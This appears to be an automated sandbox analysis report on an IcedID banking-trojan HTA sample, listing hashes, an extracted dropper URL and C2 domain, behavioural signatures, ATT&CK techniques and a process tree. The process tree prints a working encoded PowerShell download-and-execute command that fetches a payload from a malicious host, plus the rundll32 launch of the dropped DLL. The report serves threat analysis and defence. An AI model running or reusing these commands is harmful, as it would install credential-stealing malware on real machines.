icedid | d4cec5888bdcc4723be0d28197fc454ba21b926e32b94102261d0c7593c7481e

General

Target

Scan_02_01_#234.hta
Size

23KB
MD5

06cc58468a0ece21d6c19816a453fb73
SHA1

fe5fd9576f5a2c5179d9750afdf22390197bc556
SHA256

d4cec5888bdcc4723be0d28197fc454ba21b926e32b94102261d0c7593c7481e
SHA512

079fa78797078a57fffb32b081dc9aa2ba8c087fe8eaad09b067db0b07f35b62f8ca20b365d0cc7b7e36eca8fada3f9a5259ebc4ed128f80b076436647e0e9d5
SSDEEP

384:W5EAr748f/yhahejGBOKzBFVJGPzR8t8IF4bhNuTeHUzhTIwhxc6:mfqYzyONgUTj

Score

10^/10

icedid 3230313353 banker loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://restlomik.com/gatef.php

Extracted

Family

icedid

Campaign

3230313353

C2

prahmatorn.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

4 1628 powershell.exe
6 540 rundll32.exe
8 540 rundll32.exe
9 540 rundll32.exe
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1236 rundll32.exe
540 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exerundll32.exe

pid process

1628 powershell.exe
540 rundll32.exe
540 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1628 powershell.exe

flow	pid	process
4	1628	powershell.exe
6	540	rundll32.exe
8	540	rundll32.exe
9	540	rundll32.exe

pid	process
1236	rundll32.exe
540	rundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1628	powershell.exe
540	rundll32.exe
540	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

mshta.execmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 2032 wrote to memory of 980	2032	mshta.exe	cmd.exe
PID 2032 wrote to memory of 980	2032	mshta.exe	cmd.exe
PID 2032 wrote to memory of 980	2032	mshta.exe	cmd.exe
PID 2032 wrote to memory of 980	2032	mshta.exe	cmd.exe
PID 980 wrote to memory of 1628	980	cmd.exe	powershell.exe
PID 980 wrote to memory of 1628	980	cmd.exe	powershell.exe
PID 980 wrote to memory of 1628	980	cmd.exe	powershell.exe
PID 980 wrote to memory of 1628	980	cmd.exe	powershell.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1628 wrote to memory of 1236	1628	powershell.exe	rundll32.exe
PID 1236 wrote to memory of 540	1236	rundll32.exe	rundll32.exe
PID 1236 wrote to memory of 540	1236	rundll32.exe	rundll32.exe
PID 1236 wrote to memory of 540	1236	rundll32.exe	rundll32.exe
PID 1236 wrote to memory of 540	1236	rundll32.exe	rundll32.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Scan_02_01_#234.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\HXFYAOKj.bin init
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\HXFYAOKj.bin init
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\HXFYAOKj.bin
Filesize
252KB

MD5
2acb462e27366cebbce10d3f339a439b

SHA1
dd24f07f4e39fc5ac9d866929fbeaa64976a937e

SHA256
a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1

SHA512
31d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564

Download Submit
\Users\Admin\AppData\Local\HXFYAOKj.bin
Filesize
252KB

MD5
2acb462e27366cebbce10d3f339a439b

SHA1
dd24f07f4e39fc5ac9d866929fbeaa64976a937e

SHA256
a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1

SHA512
31d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564

Download Submit
\Users\Admin\AppData\Local\HXFYAOKj.bin
Filesize
252KB

MD5
2acb462e27366cebbce10d3f339a439b

SHA1
dd24f07f4e39fc5ac9d866929fbeaa64976a937e

SHA256
a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1

SHA512
31d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564

Download Submit
memory/540-64-0x0000000000000000-mapping.dmp

Download
memory/540-66-0x0000000000290000-0x0000000000299000-memory.dmp

Filesize
36KB

Download
memory/980-55-0x0000000000000000-mapping.dmp

Download
memory/1236-59-0x0000000000000000-mapping.dmp

Download
memory/1628-56-0x0000000000000000-mapping.dmp

Download
memory/1628-58-0x0000000072810000-0x0000000072DBB000-memory.dmp

Filesize
5.7MB

Download
memory/1628-63-0x0000000072810000-0x0000000072DBB000-memory.dmp

Filesize
5.7MB

Download
memory/2032-54-0x0000000075A71000-0x0000000075A73000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads